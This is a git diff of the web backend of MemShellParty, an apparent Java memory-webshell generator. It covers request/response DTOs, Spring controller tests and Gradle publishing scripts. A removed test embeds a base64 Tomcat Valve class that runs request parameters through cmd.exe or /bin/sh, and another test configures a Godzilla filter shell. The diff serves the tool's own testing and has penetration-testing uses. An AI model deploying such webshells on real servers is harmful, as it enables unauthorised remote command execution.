.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Custom -> CustomConfig.builder()
|
case Custom -> CustomConfig.builder()
|
||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
case Proxy -> ProxyConfig.builder()
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.shellClassName(shellToolConfig.shellClassName).build();
|
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
public class GenerateResponse {
|
||||||
|
private GenerateResult generateResult;
|
||||||
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
||||||
|
|
||||||
|
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
||||||
|
this.generateResult = generateResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.generateResult = generateResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class MemShellGenerateResponse {
|
|
||||||
private MemShellResult memShellResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
|
|
||||||
this.memShellResult = memShellResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.memShellResult = memShellResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.config.*;
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/10
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class ProbeShellGenerateRequest {
|
|
||||||
private ProbeConfig probeConfig;
|
|
||||||
private ProbeContentConfigDTO probeContentConfig;
|
|
||||||
private Packers packer;
|
|
||||||
|
|
||||||
@Data
|
|
||||||
static class ProbeContentConfigDTO {
|
|
||||||
private String host;
|
|
||||||
private int seconds;
|
|
||||||
private String server;
|
|
||||||
private String sleepServer;
|
|
||||||
private String reqParamName;
|
|
||||||
private String commandTemplate;
|
|
||||||
}
|
|
||||||
|
|
||||||
public ProbeContentConfig parseProbeContentConfig() {
|
|
||||||
return switch (probeConfig.getProbeMethod()) {
|
|
||||||
case DNSLog -> DnsLogConfig.builder()
|
|
||||||
.host(probeContentConfig.host)
|
|
||||||
.build();
|
|
||||||
case Sleep -> SleepConfig.builder()
|
|
||||||
.seconds(probeContentConfig.seconds)
|
|
||||||
.server(probeContentConfig.sleepServer)
|
|
||||||
.build();
|
|
||||||
case ResponseBody -> ResponseBodyConfig.builder()
|
|
||||||
.reqParamName(probeContentConfig.reqParamName)
|
|
||||||
.commandTemplate(probeContentConfig.commandTemplate)
|
|
||||||
.server(probeContentConfig.server)
|
|
||||||
.build();
|
|
||||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
|
||||||
};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/10
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class ProbeShellGenerateResponse {
|
|
||||||
private ProbeShellResult probeShellResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
|
|
||||||
this.probeShellResult = probeShellResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.probeShellResult = probeShellResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import lombok.Builder;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,16 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.vo;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/5/25
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class CommandConfigVO {
|
|
||||||
private List<CommandConfig.Encryptor> encryptors;
|
|
||||||
private List<CommandConfig.ImplementationClass> implementationClasses;
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.vo;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2026/6/27
|
|
||||||
*/
|
|
||||||
public record PackerVO(String name, List<String> children) {
|
|
||||||
}
|
|
||||||
@@ -1,7 +1,4 @@
|
|||||||
spring:
|
spring:
|
||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
mvc:
|
|
||||||
pathmatch:
|
|
||||||
matching-strategy: ant_path_matcher
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
class ClassNameParseControllerTest {
|
|
||||||
@Test
|
|
||||||
void test(){
|
|
||||||
ClassNameParseController classNameParseController = new ClassNameParseController();
|
|
||||||
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
|
||||||
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,15 +1,11 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||||
import org.springframework.core.ParameterizedTypeReference;
|
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.client.RestClient;
|
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -25,64 +21,36 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
public class ConfigControllerIntegrationTest {
|
public class ConfigControllerIntegrationTest {
|
||||||
|
|
||||||
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
|
@Autowired
|
||||||
};
|
private TestRestTemplate restTemplate;
|
||||||
|
|
||||||
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
|
|
||||||
};
|
|
||||||
|
|
||||||
@LocalServerPort
|
|
||||||
private int port;
|
|
||||||
|
|
||||||
private RestClient restClient;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
void setUp() {
|
|
||||||
restClient = RestClient.builder()
|
|
||||||
.baseUrl("http://localhost:" + port)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
||||||
.uri("/api/config")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MAP_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
Map body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
||||||
.uri("/api/config/servers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MAP_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
Map body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigPackersEndpoint() {
|
public void testConfigPackersEndpoint() {
|
||||||
ResponseEntity<List<String>> response = restClient.get()
|
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
||||||
.uri("/api/config/packers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(STRING_LIST_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void testConfigProbeResponseBodyServersEndpoint() {
|
|
||||||
ResponseEntity<List<String>> response = restClient.get()
|
|
||||||
.uri("/api/config/probe/response-body/servers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(STRING_LIST_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
|
List<String> body = response.getBody();
|
||||||
|
assertNotNull(body);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,71 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
|
||||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
|
||||||
import org.springframework.http.HttpStatus;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.client.RestClient;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/9/16
|
|
||||||
*/
|
|
||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
|
||||||
class MemShellGeneratorControllerTest {
|
|
||||||
|
|
||||||
@LocalServerPort
|
|
||||||
private int port;
|
|
||||||
|
|
||||||
private RestClient restClient;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
void setUp() {
|
|
||||||
restClient = RestClient.builder()
|
|
||||||
.baseUrl("http://localhost:" + port)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void generateShell() {
|
|
||||||
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
|
||||||
request.setShellConfig(ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shrink(true)
|
|
||||||
.debug(true)
|
|
||||||
.serverVersion("Unknown")
|
|
||||||
.targetJreVersion(50)
|
|
||||||
.build());
|
|
||||||
request.setInjectorConfig(InjectorConfig.builder()
|
|
||||||
.urlPattern("/*")
|
|
||||||
.build());
|
|
||||||
request.setPacker(Packers.ScriptEngine);
|
|
||||||
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
|
||||||
shellToolConfigDTO.setGodzillaKey("key");
|
|
||||||
shellToolConfigDTO.setGodzillaPass("pass");
|
|
||||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
|
||||||
shellToolConfigDTO.setHeaderValue("hello");
|
|
||||||
request.setShellToolConfig(shellToolConfigDTO);
|
|
||||||
ResponseEntity<MemShellGenerateResponse> response = restClient.post()
|
|
||||||
.uri("/api/memshell/generate")
|
|
||||||
.body(request)
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MemShellGenerateResponse.class);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
plugins {
|
|
||||||
`kotlin-dsl`
|
|
||||||
}
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
|
||||||
}
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
rootProject.name = "build-logic"
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("com.vanniktech.maven.publish")
|
|
||||||
}
|
|
||||||
|
|
||||||
mavenPublishing {
|
|
||||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
|
||||||
signAllPublications()
|
|
||||||
coordinates(
|
|
||||||
"io.github.reajason",
|
|
||||||
project.name,
|
|
||||||
rootProject.version as String
|
|
||||||
)
|
|
||||||
|
|
||||||
pom {
|
|
||||||
name.set("MemShellParty")
|
|
||||||
description.set(project.description)
|
|
||||||
url.set("https://github.com/ReaJason/MemShellParty")
|
|
||||||
inceptionYear.set("2025")
|
|
||||||
licenses {
|
|
||||||
license {
|
|
||||||
name.set("MIT")
|
|
||||||
url.set("https://spdx.org/licenses/MIT.html")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
developers {
|
|
||||||
developer {
|
|
||||||
id.set("reajason")
|
|
||||||
name.set("ReaJason")
|
|
||||||
url.set("https://reajason.eu.org")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
scm {
|
|
||||||
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
|
||||||
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
|
||||||
url.set("https://github.com/ReaJason/MemShellParty")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,119 @@
|
|||||||
|
import com.vanniktech.maven.publish.SonatypeHost
|
||||||
|
|
||||||
|
version = '1.8.0'
|
||||||
|
|
||||||
|
buildscript {
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
gradlePluginPortal()
|
||||||
|
}
|
||||||
|
dependencies {
|
||||||
|
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
|
||||||
|
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
allprojects {
|
||||||
|
group = 'io.github.reajason'
|
||||||
|
|
||||||
|
if (it.name != 'memshell-party-bom') {
|
||||||
|
apply(plugin: 'java')
|
||||||
|
apply(plugin: 'idea')
|
||||||
|
apply(plugin: 'jacoco')
|
||||||
|
apply(plugin: 'io.freefair.lombok')
|
||||||
|
}
|
||||||
|
|
||||||
|
apply(plugin: 'com.vanniktech.maven.publish')
|
||||||
|
|
||||||
|
mavenPublishing {
|
||||||
|
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
||||||
|
signAllPublications()
|
||||||
|
coordinates("io.github.reajason", project.name, rootProject.version as String)
|
||||||
|
|
||||||
|
pom {
|
||||||
|
name = 'MemShellParty'
|
||||||
|
description = project.description
|
||||||
|
url = 'https://github.com/ReaJason/MemShellParty'
|
||||||
|
inceptionYear = '2025'
|
||||||
|
licenses {
|
||||||
|
license {
|
||||||
|
name = 'MIT'
|
||||||
|
url = 'https://spdx.org/licenses/MIT.html'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
developers {
|
||||||
|
developer {
|
||||||
|
id = 'reajason'
|
||||||
|
name = 'ReaJason'
|
||||||
|
url = "https://reajason.eu.org"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
scm {
|
||||||
|
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
|
||||||
|
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
|
||||||
|
url = 'https://github.com/ReaJason/MemShellParty'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
|
||||||
|
dependencies {
|
||||||
|
implementation platform(project(':memshell-party-bom'))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs += file('src')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
jacocoTestReport {
|
||||||
|
reports {
|
||||||
|
xml.required = true
|
||||||
|
csv.required = true
|
||||||
|
html.required = true
|
||||||
|
}
|
||||||
|
afterEvaluate {
|
||||||
|
executionData.from fileTree(rootDir) {
|
||||||
|
include '**/build/jacoco/**/*.exec'
|
||||||
|
}
|
||||||
|
|
||||||
|
sourceDirectories = files('generator/src/main/java')
|
||||||
|
|
||||||
|
classDirectories.from(
|
||||||
|
fileTree('generator/build/classes/java/main') {
|
||||||
|
excludes = [
|
||||||
|
'com/reajason/javaweb/memshell/**/godzilla/**',
|
||||||
|
'com/reajason/javaweb/memshell/**/injector/**',
|
||||||
|
'com/reajason/javaweb/memshell/**/command/**',
|
||||||
|
'com/reajason/javaweb/config/**'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.register('publishAllToMavenCentral') {
|
||||||
|
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
|
||||||
|
if (isSnapshot) {
|
||||||
|
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
|
||||||
|
} else {
|
||||||
|
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':memshell:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
|
||||||
|
dependsOn ':generator:publishAndReleaseToMavenCentral'
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("java")
|
|
||||||
id("idea")
|
|
||||||
}
|
|
||||||
|
|
||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs.add(file("src"))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
version = "2.10.0"
|
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.register("publishAllToMavenLocal") {
|
|
||||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
|
||||||
dependsOn(":packer:publishToMavenLocal")
|
|
||||||
dependsOn(":generator:publishToMavenLocal")
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
group = 'io.github.reajason'
|
||||||
|
description = "Java deserialize payload for MemShellParty"
|
